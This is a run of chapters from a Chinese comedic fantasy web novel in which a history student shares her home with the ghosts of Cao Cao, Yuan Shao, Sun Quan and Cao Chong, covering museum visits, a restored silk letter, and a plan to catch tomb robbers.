离开明孝陵后,苏馆长和两个小同事就带着吕思彤往南博去。 走后面的员工通道进到办公区域,吕思彤这才舒了口气将手里包裹起来的宝剑放下,真的挺沉的,将外衣重新穿上,这把剑的模样也呈现在了所有人面前。 剑身流畅程亮,金属面反光几乎可以当做镜子,手柄上有两个“白虹”二字的铭文,长窄锋利,是标准的汉剑形制,如果撇开诈骗这事单看工艺,也是一件不错的艺术品。 两个小同事给苏馆长倒茶,顺便递给了吕思彤一杯,也趁机嘲笑嘲笑这个被贩子骗了的外行人。 “但凡这剑做旧过,上当都算合情合理,这你都信,哪天有人说自己是秦始皇让你V50,你不会也信吧?” 吕思彤认真思考了一下,说:“嘿嘿嘿,以后有空我去看看兵马俑,没准真能遇到。” “……”两人无语。 苏馆长饮了杯茶,笑着说:“哪混进去的老头卖这个,给骗了多少钱?”明明是个有着一眼鉴定东汉陶俑碎片能力的天才,居然会被这么拙劣的高仿给骗了? 一边说着随手将那把汉剑拿起来查看,从一只手单握改成双手捧着,眉头也逐渐拧了起来。 端详了一会上面的纹路铭文,弹指弹了一下剑身,能听到一声微弱绵长的剑鸣声。 “嘶——”苏馆长不由吸了口气,这绝对不是现代的浇灌工艺,更不是流水线批量生产能做出来的精致程度。 但是……但是它真的太新了! 而且不是那种新出土的新,就是新生产的那种新。 准确来说也不算新,像是有十几二十年的磨损程度,同时又很爱护的保养着。 过了很久,苏馆长才将白虹剑放下,说:“也难怪你会认错,这剑确实仿得厉害,估计是找了工匠一锤子一锤子敲出来的。作为当代收藏的剑,价格也不便宜。” 说完又问:“对了,你还没说花了多少钱呢。” 吕思彤对剑器的收藏完全不懂,因此没有说价格,而且看出苏馆长似乎有想要收藏这剑的意思,连忙就拒绝了。 先前把本初大小姐的亲笔檄文卖给高馆长后就一直很后悔,这次权仔的剑肯定得自己留着,反正都鉴定为现代工艺品了,也不必提心吊胆。 在办公区等候闲聊了半小时南博的镇馆之宝们,忙碌完事情的南院长终于来了。 与苏馆长握手客套了几句,就带着去了不对外开放的藏书区域。这里收藏的是对古籍抄录的书册,还有一些石碑的拓印文字,很多资料因为过于珍贵还没公开过,网上都没有电子版,这也是苏馆长借阅得亲自跑一趟的原因。 吕思彤没有被允许一起去藏书区,由两名小同事带着去文物修复室逛一逛,既然苏馆长说她对汉朝的历史和文物十分有研究,书法也很厉害,便请她掌掌眼。 修复室里一共有三个人在工作,其中一人是在修理钟表,手上的镊子小心翼翼地调整着齿轮的位置。 另外两人在一幅帛书面前,还没进行到修复环节目前,停留在文字还原阶段。两人手里一打纸,参照着残缺的帛书试图在纸上写下原本的文字。 “这帛书测算下来是东汉的文物,归属主人暂且不详,布帛氧化严重,文字缺失太多了。” 吕思彤仔细端详那氧化成土黄色的帛书,上面的墨迹倒是挺明显,但布料残破不堪,也导致了行文根本无法阅读。再看了眼两位修复师在草稿上写下来的字,竟已经能通顺阅读。 吕思彤一脸震惊地看着两个修复师,不得不佩服这些愿意把时间花在进度缓慢的修复工作上的幕后人员。 “异尊卑之礼仗功仗威为臣不笃……好像是太笼统,这点信息很难对应到谁。”吕思彤将他们推测出来的一部分文字念了念。 “是朕写的。”突然出现的声音吓得吕思彤一哆嗦,不过其他人好像没听到。 吕思彤回头,看见孙权从被她放在门口的宝剑上走了下来,曹操也从书包里走出来。 看样子曹操已经给孙权科普过一些当鬼的小窍门和技能。 这就和朱元璋聊完了?本来还以为他们相见恨晚能聊个三天三夜呢,看孙权铁青的脸色好像聊得不是很愉快。 一过来正好听到她念的话,更沉着脸色走到了帛书边上。 孙权确信地说:“是朕写给陆伯言的信。” “真的?!”吕思彤激动地问了一声,孙权把东吴大功臣陆逊骂死这件事一直是个谜团,凡是有些了解这事的人都很好奇两个点。 第一:挽救东吴差点灭国的大功臣真的会把人往死路上逼吗? 第二:孙权那老登到底是骂得多难听? 边上几位工作人员被她一嗓子惊到,拧眉怒道:“当然是真品,这还能质疑是假?这里是我们工作的地方,请保持安静。” 吕思彤连连摆手,说:“等下等下,等我先确认一下。” 几人都被这个吹牛吹出来的女学生给气笑了,什么天赋异禀,把现代工艺当孙权剑已经很搞笑了,现在质疑明摆着真到不能再真的帛书? 孙权视线一直盯着那破破烂烂地帛书,脸色阴沉得几乎能滴出水来,说:“此物我分明交代了陆幼节一焚灭之,为何还会流于后世。” 陆幼节便是陆逊之子,陆抗,也是东吴后期不可多得的将领。 在陆逊死后,孙权老头哭得凄惨,对陆抗说自己是听信了谗言才对君臣忠义产生了怀疑,悔之晚矣。那些错误的东西就全部烧了,不要让人看见了。 曹操一听是什么下令销毁的孙权黑历史,立刻就来了兴趣,极其好心地劝慰道: “仲谋,千古往事后人们该知晓的都知晓了,倒不如光明磊落由他们评说。” 孙权眉头紧皱,陷入了回忆之中,恍惚回到刘备举国之兵要伐吴的时候。那时候君臣一心,他敢启用陆逊,陆逊没有辜负信任。 又想到今日和朱元璋闲聊的时候,对方也很好奇问起这事,究竟为何要再三下书责骂,将陆逊逼死呢? 孙权没有回答,他记不清当时写信到底是一时气愤说狠了,还是真的有意要 17.岁月如斯 [] 行行行,吕思彤干脆摆烂认下,反正也不差这一个。 倒是擦干了老泪调整好情绪回来的孙权非常不高兴,尽管他不理解粉丝是什么意思,死忠两个字还是懂的。 可恶至极,当年他定都建邺,而今后世此地的官吏居然嘲笑他的忠臣少? 吕思彤瞥见孙权回来,试图停止讨论孙权的话题,南院长还是很好奇,怎么会有年轻人粉孙权呢? 便说:“我见过很多粉东吴的不是周瑜就是孙策,按照孙权记载的那些事情,实在不是个厚道人。” 毕竟当事人就在边上,吕思彤试探地问:“是指只给他哥孙策追封了王,而不是帝?” “这当然也是嘛,主要还是多次背刺盟友又不敢担当,给曹操送去关羽头,向曹丕称臣。孙权这人和曹刘放在一起,肯定是差几个台阶的。” “啊这……”吕思彤疯狂冒冷汗,瞥一眼怒气值拉满的孙权继续说,“我倒是觉得孙权非常厉害,能轻易做到别人做不出的事情。” 南院长:确定这是夸奖? 吕思彤深吸一口气,声情并茂道:“想当年吴越之争,勾践卧薪尝胆,忍常人之不能忍的屈辱,最终灭吴……” 说了一会感觉不太合适,以前的吴王让别人忍辱,孙权的吴王自己忍辱,但要说对标越王勾践吧,魏国没被他灭。 “怎么不接着说了?”孙权已经站在了边上,皮笑肉不笑地说。 南院长从修复师手里接过刚才孙权写的书信,说:“卧薪尝胆是有这么点,可惜孙权没有夫差的军事手段。” 一名小同事点点头,也认为两个吴王之前的差距是相当大的,说:“吴王夫差是‘苦心人、天不负,卧薪尝胆,三千越甲可吞吴’。孙权是什么,是‘生子当如孙仲谋,合肥十万送人头’。” “尔等!尔等!”孙权气得不轻,要是一个人如此羞辱自己也就罢了,无非是后世无知之人的误解,竟是在他当年都城之地的一群学史官吏! 但是,除了合肥的十万兵可以反驳一下,其他事情无力辩驳。 合肥屡战屡败,屡败屡战,为何要杠这一块地,因唯有打下合肥才有能伐魏的可能。东吴善水战,而三条水路唯有一条濡须水道适合行船进攻,若能占下合肥接入淝水,则威逼寿春,直捣魏国心脏。 何愁宏图大业不成? 这些只学书籍不知军事的小辈懂什么,朱元璋就非常懂,说明白吴大帝的野心,只可惜天时不在。 “尔等根本不知晓当时情况!朕若不为之,东吴何存!” 当年关羽不得不杀根本没有退路,而杀关羽之后如果不向魏示好称臣,还能如何?难道眼睁睁看着魏蜀一并伐吴,让东吴亡于那一年吗? 他可以不要脸出尔反尔,但不能赌灭国的灾难不会降临。 “尔等!尔等欺人太甚!”老孙权气得掉眼泪,但在场的后世小辈们根本听不到他的呐喊,唯一听得到的那一个也不可能对空气说安慰的话,更不可能对着空气搀扶擦眼泪。 曹操能懂这份野心,当年收到关羽头的时候,或者说是更早的时候,他与孙权濡须水道时,孙权草船探路,费了他不少的箭矢,于是有了那一句生子当如孙仲谋的感叹。 看到老头孙权哭得如此真情实感,曹操明白终究无人能不在意后世评价。 “仲谋,休要理会这些,我们出去走走吧,此地沉闷也不打扰他们工作了。” 孙权看了眼身边唯一安慰自己的曹贼,这个父亲一辈的人如今比自己年轻几岁,往事回首,真能放下仇怨化解干戈吗?很久很久以前,父亲和曹操,是诸侯联盟里为数不多拼尽全力匡扶汉室的人,也是唯二在董卓火烧皇宫时试图阻拦追击的人。 而自己和曹操成为了一辈子的敌人,时也,命也。 岁月悠悠,留下了什么,被带走了什么,原来当事人自己也说不清。 看着两个老头手拉手走出去散步,吕思彤舒了口气。 此时南院长已经端详了一会手里崭新还留有墨渍的纸张,不太愿意相信地问:“这书法,真是你写的?” 吕思彤收回视线,说:“真是我的一个朋友,我刚才把这事和他说后,他就写了下来,我只是照着他发来的图片临摹出来的这个字迹。” 以为她是有什么不能坦白的为难之处,南院长也不多问,只借着台阶问:“原来如此,以后有机会的话,可以介绍认识认识?” 岂料吕思彤表情变得更为难了,说:“可能不太行,他对你的印象不好。” 南院长不太理解,问:“为什么印象不好?” “毕竟他是孙权……死忠粉,对吧。” “哦,哈哈哈哈。”南院长笑了笑,说,“还被小同志给上了一课,确实不该带着个人的情绪喜好来评价历史人物,有失客观了。” 说完又指着模仿的书法说:“孙权的行书字很洒脱,笔画开合大气,也不难窥见书写之人的雄心壮志。古人云,字如其人,后人对孙权的偏见是过重了。” 可惜了,这话孙权没听到。 虽然有了这一份孙权死忠粉写的书法作为参考,但也仅仅是完成了文物修复的第一步,之后在原文物上将它试图还原才是最困难的,年代久远的帛书更是难上加难,因此修复到什么程度,保留氧化伤痕又是怎样的程度,都需要再好好商议。 苏馆长过来借阅为了古籍注解的事情,现在资料也翻阅记录好了,便找理由要走。 心里头很是嫉妒,小吕同志先是给高陵弄了个丁夫人的陶俑,后给南博弄了个孙权帛书,怎么就没照顾到自己人呢! 南院长还有意挽留,说什么也得吃顿饭。 吕思彤都无所谓,看了眼手机有未读消息,是曹冲发来的。 曹冲学会了手机的拍照录像功能,给她拍了个厨房的照片,问怎么扭动燃气灶后点不燃火? “……”吓得吕思彤一激灵,连忙回复让他别乱扭。 没多久曹冲就回了消息,又拍了一张新的照片过来,是她放在书房里的荀令十里香的线香,此时已经点着了。 [没事了,研究会了,需要先按下去才能点火。] [我网上搜,说鬼需要点香吃,就试了试,好像没什么用。不过袁伯伯说这香挺好闻,有点熟悉,就继续点着了。] 能 18.岁月如斯 [] 吕思彤让司机送到了小区附近的地铁站,不太愿意让陌生人知道自己家庭住址。 “谢谢啊,麻烦你了。”挥手道别看着车开远了才扭头走路回家。 曹操好奇道:“小吕既然不是权贵之家,寻常平民耳,为何总避讳家址。” 吕思彤解释说:“当然呀,现在邻里之间不认识,走动的都是陌生人,混进个坏人都不知道,家庭住址属于个人隐私,肯定不轻易给人知晓的。” “没做亏心事,半夜不怕鬼敲门。何况我见你家中也常有陌生人往来。” “啥?”吕思彤想了想,这期间总共也就维修电视机背景板的工人来过,哪算是常有。 回到家后没着急开门,让曹冲先把窗户打开通风,还提前去查看了楼道里的消防设备。 凡事谨慎点肯定没错。 曹冲很是无语地打开门,说:“你当我是笨蛋吗?这点常识都没有。” 家里面一切都好着,没有刺鼻的气味也没有任何的东西被烧坏。吕思彤对曹冲这小神童很是佩服,有好奇心且能去学习已经很难得,而能克制住好奇心不尝试危险的事情更难得。 就这么一天的时间,曹冲已经学会了电脑基础的下载和上传功能,并且在某课程直播平台注册了账号,把先前整理的一些课件拍照上传。 袁绍搬了个小椅子坐在阳台晒太阳,手里鼓捣着手机,在听人分析官渡之战的沙盘模拟。 见他懊悔地一拍大腿,说:“曹贼亲自带兵往乌巢,我该奔袭许昌才是!”接着就听到分析者补充了句,以袁绍的性格就算知道许昌无人也不会进攻,以他的家底不会冒风险,只打看似稳赢的仗,然后失败。 “……”哼。 “那啥,给大家介绍个新……嗯老朋友。”吕思彤举起剑晃了晃,孙权从上面走了下来,有些不适地抬手示意先别打扰他。 当年赤壁水战靠着北方人不熟水性晕船而得到些许优势,万万没想到在自己东吴的地盘上居然晕车了。 袁绍扭头看见新来了个老头,而且看上去比自己老多了,询问是何人。 曹操上前搀扶,带着孙权到阳台透气,简单与袁绍说了一下。 吕思彤眉头紧皱地看着三个老头坐在阳台说话,心想自己好端端的温馨小家,怎么成养老院了?? 将视线投向还在努力学习的曹冲,夹着嗓子说:“冲儿宝贝,在做什么呀?” 曹冲往边上挪了挪,指了指屏幕上的内容,说:“在学等差公式、还有平面向量。” “告辞。” 看了眼班级群消息,班长发了一份自己整理的期末重点,帮助同学们有效复习。 苏馆长帮吕思彤请假了两天,她提前一天回来,想了想还是找辅导员销假,说明天可以正常去上课。 处理完了学校的事情吕思彤给自己点了份晚饭外卖,看了眼放在书房杂物堆的三把宝剑,打算验证下自己的猜想。 袁绍的剑、曹操的剑和孙权的剑摆在一起,拍了照片发给三位馆长,说再鉴定鉴定另外两把收藏的剑,也是近代产物吗? 三位馆长的回答一样,肯定是近代锻造的宝剑,虽然仿得非常厉害,但都不超过三十年。 太新了,哪怕是用真空包装放在墓里近两千年,包装袋也都够腐烂了,这些剑必然该有岁月痕迹。 鉴定不是目的,他们能不能看见才是目的。 在得到验证后,吕思彤有个大胆的猜测。将屋里众人打量了一圈,吕思彤问孙权借他头顶的帝王十二旒冕,和曹操王侯十二旒冠略有不同。 孙权此时已经听曹操和袁绍讲述了后世大概情况,如今只有小吕这个穷学生能看见他们,有什么事别和小辈计较,还得她帮忙的。 袁绍劝说孙权知足吧,不管是祭拜还是整活好歹墓前人来人往总有人惦记着他,自己在沧州的陵墓是真的鲜有人问津,那叫一个凄凉。 孙权稍微心里平衡了一点,觉得也有道理,如果讨厌一个人会去墓前摆放供品和其他东西吗?他在墓碑前虽看见有各种张辽的小像,还有合肥地图,但也有水果和鲜花。 吕思彤解释说:“咱们这会的人和以前不一样,连死都可以当做玩笑话而非咒骂,有时候反复拿一个人的过错玩笑,其实也是对他的喜爱表现。” “是吗?”孙权将信将疑,但还是摘下十二旒冕递给了吕思彤。 “多谢多谢。”吕思彤拍了张图片继续给三位馆长发过去。 [剧组试图复原的汉末十二旒冠,有错误吗?] 再次得到了一样的回复,且对这剧组的复原程度十分夸奖,甚至一些打着还原旗号的展馆都未必能有这么细节的。 吕思彤想了想,对着三个老头拍了一张,这次镜头里直接不显示,只有阳台上的几盆绿植。但她也先了过去,问这几件衣服复原得怎么样? 这次三人都回复问是不是发错图了,什么也没有啊。 吕思彤于是得出结论,离开了老祖鬼魂的东西会变成实物,且能够被人看到。 换个思路,如果把老祖们身上的文物都换下来,换上后世的东西,能不能使得老祖们被看见? 想到就去实践,吕思彤打量了一下曹冲的身高,十三岁的曹冲和现代营养充足的同龄人没法比,但也有一米五不到的身高了。 吕思彤翻出了自己初中时期的校服,就是所有公立学校统一的那种宽松的长裤长袖。 她将校服拿到曹冲边上,说:“冲儿宝贝,想去后世的学校里上课吗?这是后世学校的衣服,你换上试试?” 曹冲展开衣物看了眼,微微拧眉。汉人重视衣冠,后世衣物变化太大,比汉时的外邦衣物还要奇怪,因此不是很想更换。 曹冲有些为难地看向曹操,曹操听后想了想,说:“无妨,便试试罢。” 老曹发话了,小曹只好照办,吕思彤简单给曹冲讲了下校服的穿法,特意讲了下拉链的使用。 “这么穿衣服倒是十分方便。”老祖们纷纷点头认同,觉得这如果用在铠甲上,能节省不少整顿兵马的时间。 吕思彤想象了一下铠甲+拉链,有点抽象。 曹冲拿着校服进了卫生间更换,本想直接穿在最外面,但身上的衣物宽袖没法穿窄袖的校服,曲裾的裙摆及地,同样无法穿上校裤。只好把外面的衣物解了,只留一身单衣,再把校服穿上。 曹冲将校服拉链拉到最高圈住整个脖子才走出来,穿着后世的衣服有些拘谨,小神童的那股自信都给压制了些许。 “冲儿可爱捏!”吕思彤比划了个拇指,然后打开手机看了眼,惊喜的发现镜头里能看见曹冲了。 人啊鬼啊什么的,天地之间存在某种规则,或许看见一身悬浮的衣服过于惊悚,干脆允许穿上后世衣服后的鬼魂能被看见了。 “我猜对了!!”为了进一步验证猜想,吕思彤把曹冲的图片放在了朋友圈。 [小表弟第一次穿校服。] 19.逮盗墓贼 [] “呵呵。”曹操冷笑了一声,先前听到她给孙权说是刘备指使,看见她给朱元璋递宝剑污蔑孙权造反,就知晓她嘴里没一句真话。 两幅面孔,见风使舵墙头草,道德底线非常灵活。 而且也和孙权对过账,孙权没指使过她去安阳,孙权睁眼还没他早呢。 这就很可疑了,还不会那天大放厥词辱骂,就是她自己的意思吧,她都喊曹贼了。 不过,毕竟小吕是江东人嘛,难免沾惹一些鼠辈的习气,导致对他有偏见。 曹操瞥了眼孙权,呵,上梁不正下梁歪。 吕思彤没琢磨明白曹操这眼神的意思,为什么她不小心叫了声曹贼,曹操却鄙夷地看孙权呢? 不追究那当然最好,吕思彤也避开话题说:“那个……既然鬼魂可以变化外貌,你们变个自己喜欢的样子,我上网帮你们定做几件量身的衣服。” 鬼魂的变化并不是随心所欲,而是只能变化成他们真正拥有过的岁月。比如老头能变年轻,但曹冲无法变成大于十三岁的样貌。 按照袁绍所说的方法,努力回忆自己年轻时的样貌,以及心中那种再回少年的渴望,孙权和曹操也逐渐变化了样貌,一起变化的还有他们的服饰。 就像是从他们一生的经历中读档了某天。 曹操苍苍白发逐渐染上墨色,平日里看人时需要凝神眯起来才看得清的眼睛此时也一片清朗,皱纹和胡须逐渐消失,骨子里的威仪却仍旧保留。 看着二十左右,才刚开始蓄须,嘴上只有并不明显的短胡。 穿着一身红色的常服直裾,黑色的腰带紧收,袖子也都系了皮质护腕,一副武人打扮。 “我炒!是洛阳少年调皮的红衣瞒瞒!”吕思彤激动地搓手,提出一个不情之请,“就是那个……你能不能表演下那个……” “?”曹操不明所以。 袁绍听到这句有些耳熟的话也拧起了眉头,他至今为止都还没明白那天她要求的抱臂冷哼一声究竟为何。 曹操返老还童,心情很好,点头问:“什么?” “就是那个……你以前逃课的时候被你叔父逮到,然后你倒地装中恶风,嘿嘿,嘿嘿嘿……” “……”曹操先是错愕,随后恼羞成怒,道,“我给你来一场打杀蹇图,你来当蹇图?” 这年龄时他是洛阳北部尉,干了这辈子第一件匡扶汉室的事,不畏权贵杀了当朝得宠阉宦蹇硕的叔父。 不过后来怎么样,这事他都不后悔,都引以为傲。 袁绍听到装病笑出声,说:“后世还记载这个?曹贼小时候就贼得很,哪天你不去学校的时候我跟你说说。” “好!” 孙权微微挑眉,说:“朕也想听听。” 曹操冷哼一声,反驳说:“本初此言差矣,少时与我游侠的,难道是别人吗?单我装病,你就没有?” “有空一起说说!”吕思彤一左一右拉着两人的手。 袁绍抽走手,回以白眼。他可以说阿瞒黑历史,阿瞒不可以揭他的短。 只是大家说到少年时光,难免会去悼念,那个死去的、热忱的自己。 此时孙权也已经变化了模样,略微佝偻的背逐渐挺直,面上的周围消去,淡紫和白色混在一起的头发逐渐变成墨色,在阳光的照射下会有墨紫色的光感。 浑浊的眼睛也变得清澈,凌厉且有锋芒,又混杂着魂魄上的沧桑。 权仔的眼睛非常好看,碧眸或许描述的就是阳光下眼里的神采吧。 年龄看着像是二十七八岁不满三十,蓄须几年但并不多,嘴上两撇短胡,下巴的胡须也很短。 穿着一件很隆重正式的衣服,最外面披了件都斗篷。 “我炒!是赤壁打了胜仗的权仔!?” “哼。”孙权得意挑眉,看来后世江东子弟还是对东吴的历史挺有研究,看他样貌年龄就猜到了关键的大事件。 年少接任江东,不到而立之年就力排众议主战不降,立下名垂青史的功绩。 玩笑归玩笑,权仔的历史光环也是明亮无法被掩盖的。 三个年轻人互相看了看,这种感觉真是奇妙。 大家都成鬼了,来到这个千年后世,齐聚一堂,无论恩怨往事,都变得没有那么沉重。 “为何对我没有请求。”孙权突然疑惑,她分明见到袁绍和曹操年轻时格外激动。 “……”吕思彤沉默,脑子里出现的是不该出现的东西,想看权仔旋转跳跃……然后问她美不美。 曹操不放过任何一个损人的机会,给袁绍使了个眼色,两人哈哈大笑。 孙权疑惑,问:“何故发笑?” “我猜小吕是想听那个。” “哪个?” 两个损友相视哈哈大笑,异口同声说出咏流传的野史:“权儿美吗?!” !! 没有要舞到正主面前的意思,是正主们自己在舞! 孙权脸色铁黑,怒视吕思彤。 “我什么都没说啊!我怎敢对吴大帝提请求,他们挑拨离间啊仔!我们都是江东人,老乡要团结!” “仔?” “……” 先不追究这个,江东小辈是该照拂。 “你也是吴郡富春的?” “吴郡……大概吴县的?” 孙权瞥一眼,说:“这算什么老乡?” “……”行行行,十三太保早有端倪是吧。 那边给孙权整了绝活的二人笑够后渐渐恢复了平静。 袁绍坐到一旁,恍惚想起以前一起在洛阳读书的时候,那时候天下还没大乱,生长在都城的世家子弟生活安逸,没有什么太忧愁的事情。 曹操自小就是个损人,一起去抢新娘逃跑,袁绍掉到了土坑里,曹操却大喊贼偷在这呢,吓得他立刻爬了出来。 袁绍自小也损,弹弓打鸟伤了人就让曹阿瞒背锅,自己要保留世家大族公子的颜面,曹阿瞒反正足够调 20.逮盗墓贼 [] “我跟王局已经确定好计划,看你什么时候回学校就开始,可能会有采访,你机灵点。”高馆长听上去特别激动,这可是一次极好的宣传机会。 “采访???”吕思彤尬得脚趾扣地,她之前的提议只是把陶俑的价值夸大,让盗墓贼为了赚钱出手货物而主动联系过来,可没说要拿她作为宣传。 “……诶不是,这有我什么事啊?” “小吕同志啊,多一天就可能多流失一件文物,一旦出境可就更难追回了。你不是说了吗,这是每个公民义不容辞的事。” 曹操几人凑在边上,将对话也听得清楚,知晓是高大人为了逮捕盗墓贼的事情很是欣慰,说:“放心,小吕没问题的,你照常安排就行。” 高馆长一愣,等吕思彤介绍。 “说话的这位是曹操……的超级粉,上回给你的感谢信就是他写的。”吕思彤深吸一口气,觉得以后家里得买个制氧机才行。 “哦!听声音也蛮年轻的嘛。” “嗯……现在,大概,二十多岁。”吕思彤看了眼没胡子的小曹贼介绍说。 “年少有为呀,贵姓啊?” 曹操说:“免贵姓曹。” 高馆长说:“哦那挺好,小曹也一起采访采访嘛,现在年轻人都有出息呀。” “……” 挂断电话后,袁绍等人笑话曹操被个后辈叫小曹,曹操冷哼一声比较关心逮盗墓贼的计划,但看吕思彤好像很不想接受采访。 “我知道个啥鉴定呀,没规定搞史同还要有鉴宝技能的吧。” 今天返老还童的老鬼们心情极好,看她如此为难都说不成问题,他们一起去就是,问到专业问题他们来答。 “真的?” “一言既出驷马难追,还能骗你不成?” 有了老祖们的保证,吕思彤稍微放心了些,开始琢磨演讲稿。 原本老鬼们再次当人想先下楼走走,多和后世其他小辈聊一聊,听一听真实的评价。但也断没有让小吕独自思考难题,而他们这些利益相关的当事鬼却自己去逛街的。 “世界上还是好鬼多呀。”吕思彤舒了口气。 一人四鬼,集思广益说体面话,修修改改一直到了将近半夜,才写了两千字多的演讲稿。 曹操先受不了这麻烦事,几分怀念道:“以前这种发言稿,都不必我自己写,你实在为难我了。” 说着似乎想到了谁,面色微微一沉。 曹操突然看向袁绍和曹冲,恍惚道:“难怪觉得熟悉……你们点的熏香是……” 话止于此,没再说,也不愿说。 袁绍皱眉没搭这话头,也苦恼道:“这事还是陈琳擅长,有的没有的,对的错的都能编排进去,反正念出来架势立场够就行。” 孙权点头,倒是没说自己的发言稿是谁写的,说:“曹子桓应该挺会写这些玩意。” 听见突然提到自己的继承人,曹操接话问:“此话怎讲?” 孙权本想嘲讽曹丕一直写信过江,又念及起因是他的诈降称臣书,便没解释。 曹操看向吕思彤,问怎么一回事。 吕思彤尬住了,斟酌用词说:“孙权和曹丕是笔友,曹丕经常给孙权写信,就连自己写的书籍诗赋都送给孙权。” “你们关系这么好?”曹操难以置信。 “呵呵。”孙权一副轻蔑态度,好像是曹丕求和,暗中却给吕思彤使眼色,让她别说了。 曹操不信,又问曹冲。 曹冲已经搜到结果了,说:“子桓哥哥还给孙权送了一些零食,自己的一些饮食也会告诉孙权。孙权礼尚往来,将交州驯服的大象送给了子桓哥哥。” “怎么又送大象,又不是你们江东的特产。”曹操想起当年奉天子得邺城时,孙权就也遣人送了头大象,那玩意珍奇稀有体格太大饭量大,特意建了个园子养着,都破坏了他行简朴的风格。 孙家当时占扬州,与交州接壤,那时长江下游的气候也不错,有数量极少的象。后来孙权派人接手交州,那交州特产就也是东吴特产。 “现在江东有大象吗?”曹冲很喜欢那只大家伙,但当时北方哪有饲养经验,孙权管送不管养,大象活了没几年,就比曹冲先死了。 吕思彤说:“只能是动物园了,普通路上肯定没,野生的更是少之又少。” 曹冲点头几下,圆溜溜的眼睛里闪动着光芒。 吕思彤明白了,说:“下次一定!” 此时手机上手机上23:59的数字跳动变化成新一天的00:00,时辰划分也来到子时的最中间。 老鬼们的返老还童被打回原形,再次恢复到死之前的年老模样,后世的衣物也变得不合身了。 吕思彤想起来了这茬,曹昂也说过他脸上的血迹就算擦干净,子时一过伤口就会再次流血。 冥冥之中有什么提醒着他们,不要忘记自己早就死亡的事实。 虽然只是重新变化一下的简单小事,但将人从喜悦中拉扯出来后,气氛便很难回到刚才的轻松。 死亡,是那么沉重。 反正演讲稿就琢磨出这些,也不想多折腾,老祖们纷纷说要休息了,便都解了后世衣物回文物上去。 第二天一大早,吕思彤起来看到未读消息,高馆长说采访大概就定在下午,这会他应该已经在飞机上,落地梅友机场,然后往她学校去。 也为了弥补老鬼们昨天没能脚踏实地尘世闲游的遗憾,早上就让他们换好了衣服去吃早餐,就从便捷的洋快餐开始吧。 汉朝时各种调味料都还没传入,油盐都是十分珍贵的东西,瞬间就被皮蛋瘦肉粥、法式熏鸡烧饼给折服。 吕思彤看了眼时间,而老祖们又新点了几个餐,还在等取餐。 曹冲很贴心,说:“没事你先去吧,我们导航慢慢走过去就当消食也行。” 吕思彤对曹冲还是很放心的,便打算先去学校。 孙权将她叫住,让她把发言稿拿出来,这稿子写得匆忙,上面很多涂抹修改的痕迹。 孙权拿过来后说:“朕……”想了想也把称呼改了,重新递过来一封折得工整的纸,“事关重大不可马虎,我替你重新写了一份,不要丢江东人的脸。” 吕思彤心中感动,重重点头收好演讲稿,便往学校去了。 上午的课比较枯燥,英语和高数,圈重点和做试卷巩固知识,就这么两件事。 下午接到班主任通知,让她去一趟校长室,老高已经在这,把本校学生立下重量级大功的事情已经告知,说要给她开一个 21.初识后世 [] 表彰大会结束后,高馆长匆忙要去和王局联络,被吕思彤逮住拦下。 “喏,钱还你。”吕思彤直接将写了3万奖学金的奖状递给老高,省下她走流程取钱的步骤。 “哎哟小同志啊。”高馆长笑了起来,说,“你自掏腰包买了东西上交,怎么还要给我钱呢?” 嗯?吕思彤听出点意思来,问:“你确定不用我还了?” 高馆长说:“假的当然要你还,真的,你说呢。” “诶嘿,也是。”吕思彤大喜,又问,“那这奖学金,不是你们要求学校给的吧?” “我要求这个做啥?”高馆长笑了笑,又说,“学校重视肯定有学校的理由,给你的你就收下呗。” 我炒!祖宗们,我有钱了!不是周四也能吃肯德鸡了! 高馆长刚上车又走了回来,叮嘱说:“对了,你说的那些朋友们,要是有空也一起去。” 学校这边只是第一步,这周末在高陵将举行的活动才是重头戏。 吕思彤心累道:“我问问他们意见。” 高馆长看了她一会,突然啧了一声,说:“哎,你说这也真的是怪,原本其实没打算让你上台,加学分就行了。” “是啊!!”吕思彤想象刚才的场面就难受,“那干嘛改主意,王局的意思?” “不是,是我被托梦了。”高馆长左右看了看,显然这话不适合从一个交党费的人嘴里说出来,好在职业特殊是和文物打交道,也默许玄学的存在。 高馆长说被满身是血的曹昂托梦了,很感谢他们对陶俑的修复,表情看着有些伤心,好像没见到丁夫人还是怎么回事。 曹昂说答应过后世那学生只要修好陶俑一定竭尽所能帮她,见她和班里一些人有矛盾,不知如何帮助,所以想请高大人帮忙。 嘶……没想到子脩宝贝和冲儿宝贝一样暖心,真是怜爱了呜呜呜,下次见面一定帮他把脸狠狠地……擦干净。 目送高馆长离开,吕思彤将手里的五张嘉宾证放进背包里,准备回家去和老鬼们讨论讨论,尤其是权仔,不帮忙就算了,还帮倒忙。 吕思彤和班级里大多数人都是泛泛之交,只有班长关系还算好,便让她来一趟校门口。 班长是个极少在三次元提及喜好的史同人,即使知道彼此大概率是同好也从不讨论,在她看来,最炽热的喜爱是要藏起来的,一旦表露就会被伤害。 班长一路小跑过来,高马尾甩得十分有活力,但只是祝贺两句,拒绝了吕思彤递去的嘉宾证。 “我就不去了,周末有几个面试。” 吕思彤不理解,说:“面试以后还能有,这个错过了可难得了。” 班长则说:“还是找工作重要,互联网大厂很难会给第二次机会。”班长是异常理智的人格,爱好和钱,一定是先赚钱再去为爱好买单。 吕思彤没再坚持,那就全给老鬼们好了,估计他们也想以“人”的身份参与参与。 转身准备去地铁站回家,远远地看见四个束发的熟人向着她这边走来,比他们发型更惹人注目的是其中三人的小推车。 曹操、袁绍和孙权,一人推着一辆小推车往这边来,曹冲在一旁眉头紧皱拿着手机导航,另一手里提着一袋绿油油的东西。 小推车里全部都是毛绒玩具,有的可爱有的丑陋,有的毛发顺滑柔亮,有的一看就是粗制滥造。 四人来到校门口,不论是颜值还是三推车的毛绒玩具都引起了学生们的注意。 除了曹冲一脸平静,其余三人都有些生气,边走还吐槽着。 孙权愤愤不平地说:“那爪子分明都抓到了,竟还放开,否则该是我第一。” 曹操也颇为不满,说:“好几次都掉到边缘了,竟不算数,又给摆回去,否则该是我第一。” 袁绍很是得意地走到吕思彤面前,说:“小吕,这些战利品就送你了。”看样子是他得了第一。 “所以,你们抓了一下午的娃娃?”吕思彤深吸一口气,“我尬在台上的那30秒里,不知道你们是在担心我发言的成败,还是在为你们的胜负担忧?” 老祖们认真回想了一下,说:“虽然那爪子挺气人,但也确实挺开心的,我们不是在意胜负的人。” 好好好,不愧是你们。 吕思彤给老鬼们比划了个大拇指,扭头询问曹冲花了多少钱。 曹冲撇撇嘴,说:“我估摸着他们不会轻易结束,成本就会很大,所以直接给了老板两千,商量让他们随意抓四个小时。老板人很好,答应了。” 